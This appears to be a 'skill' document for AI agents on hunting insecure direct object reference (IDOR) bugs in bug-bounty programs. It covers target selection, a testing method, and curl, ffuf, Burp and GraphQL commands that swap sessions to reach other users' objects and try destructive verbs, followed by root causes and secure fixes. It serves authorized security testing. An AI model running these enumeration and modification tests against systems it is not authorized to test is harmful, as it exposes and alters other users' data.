hunt-idor – Security skill for AI agents

When to Use

Use when the target has any endpoint that references user-owned resources by ID — API paths with user/order/invoice/message IDs, GraphQL queries with id arguments, file download endpoints, or any multi-tenant SaaS feature. IDOR is one of the most common and highest-paying vulnerabilities because it directly exposes other users' data without authentication bypass. Every feature that displays or acts on a resource by identifier is a candidate. Highest-value targets: financial documents/billing APIs, private repositories, user messages, account management endpoints, and cross-tenant business/org administration features.

Crown Jewel Targets

Why IDOR pays big:

• Direct access to other users' data without authentication bypass — clear, demonstrable impact
• Chains easily with privilege escalation, financial fraud, and account takeover
• Affects virtually every application with user-owned resources

Highest-value asset types (by payout potential):

| Asset Type | Why It Pays |

|---|---|

| Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) |

| Private repositories / source code | IP theft, critical data loss (GitHub) |

| User messages / DMs | Privacy violation at scale (Reddit) |

| Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) |

| Business/org administration | Cross-tenant escalation, employee PII (Uber) |

| Content moderation/admin actions | Operational sabotage (Reddit mod logs) |

Programs that pay most for IDOR:

• Platforms with multi-tenancy (SaaS, B2Btools)
• Fintech and payment processors
• Social platforms with private content
• Developertools with org/repo isolation

---

Attack Surface Signals

URL patterns that scream IDOR:

/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy

Response header signals:

• Content-Type: application/json on endpoints accepting raw IDs
• No X-Frame-Options or CORS misconfigs paired with ID params
• Authorization: Bearer tokens that are user-scoped but hit org-level resources

JavaScript source patterns:

// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId

Tech stack signals:

• GraphQL endpoints (query-based IDORs are often missed)
• REST APIs with sequential integer IDs (most vulnerable)
• UUIDs that are predictable or leaked in other responses
• Multi-tenant SaaS apps with org_id, account_id, business_id params
• Mobile apps (Burp the APK — mobile APIs often skip authorization checks)

---

Step-by-Step Hunting Methodology

1. Map all object references in the application

• Browse every feature authenticated as User A
• Capture all requests in Burp Suite
• Filter for requests containing: id=, _id=, uuid=, /v1/{noun}/{id}, query params with numeric/UUID values

2. Enumerate ID types

• Sequential integers → enumerate ±1, ±100
• UUIDs → check if they appear in other responses or JS files
• Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection

3. Create two separate accounts (same privilege level)

• User A: resource owner
• User B: attacker account
• Log all IDs belonging to User A while authenticated as User A

4. Replay User A's resource IDs as User B

• Replace session cookie/token with User B's credentials
• Send identical requests referencing User A's object IDs
• Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint

5. Test cross-tenant/cross-org scenarios

• Create accounts in separate organizations/businesses
• Test if Org B's session can reference Org A's IDs
• Pay special attention to admin/management endpoints

6. Test GraphQL specifically

• Run introspection: { __schema { queryType { fields { name } } } }
• For every query/mutation taking an id argument, substitute another user's ID
• Test both queries (read) and mutations (write/delete)

7. Test write/destructive operations, not just reads

• Can User B DELETE User A's resources?
• Can User B MODIFY User A's content?
• Can User B ADD themselves to User A's account?

8. Chain IDORs together

• Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
• IDOR → leaked ID → second IDOR → privilege escalation

9. Test state-changing edge cases

• Expired tokens/invites that can still be accepted
• Race conditions on resource IDs
• Indirect references: ?sort=id or ?filter[user_id]=

10. Document the exact differential

• Confirm User B has NO legitimate access to User A's resource
• Screenshot/log the 200 OK vs expected 403/404

---

Payload & Detection Patterns

Basic IDOR test with curl (swap cookie/token):

# Get User A's resource ID while authenticated as A
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_A_SESSION" \
  https://target.com/api/v1/invoices/12345

# Replay with User B's session
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_B_SESSION" \
  https://target.com/api/v1/invoices/12345

# Success = 200 OK with User A's data

GraphQL IDOR test:

curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/graphql \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'

Enumerate sequential IDs with ffuf:

ffuf -u "https://target.com/api/v1/orders/FUZZ" \
  -w ids.txt \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -mc 200 \
  -o idor_results.json

Generate sequential ID wordlist:

# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
    for i in range(known_id - 500, known_id + 500):
        f.write(str(i) + "\n")

Burp Intruder payload for IDOR scanning:

GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN

# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200

JavaScript scraping for leaked IDs:

# Find IDs in JS bundles
curl --max-time 30 --connect-timeout 10 -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u

# Find object references in API responses
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_A" \
  https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"

Grep patterns for source code review:

# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .

# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })

IDOR via HTTP method tampering:

# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo "=== $method ==="
  curl --max-time 30 --connect-timeout 10 -s -X $method \
    -H "Authorization: Bearer USER_B_TOKEN" \
    https://target.com/api/v1/users/USER_A_ID/profile
done

---

Common Root Causes

1. Missing ownership check in ORM queries

   // VULNERABLE: fetches any record
   const invoice = await Invoice.findById(req.params.id);
   
   // SECURE: scopes to authenticated user
   const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
   

2. Authorization at the route level, not object level

• Developer checks "is user logged in?" but not "does this user own this object?"
• Middleware confirms authentication; individual handlers skip ownership validation

3. Trusting client-supplied IDs in request bodies

• Mobile apps or SPAs send org_id in POST body; server uses it directly without verifying caller belongs to that org

4. GraphQL resolvers without field-level authorization

• Query resolvers fetch by ID from database without checking if the requesting user has permission
• Especially common when resolvers are auto-generated from schema

5. Inconsistent authorization across HTTP verbs

• GET endpoint is protected; POST/DELETE on same resource path is not
• Common in APIs built incrementally by different developers

6. Indirect references exposed via related objects

• Object A (accessible) contains a reference to Object B (should be private)
• Developer only protects d

… (full content is in the download package)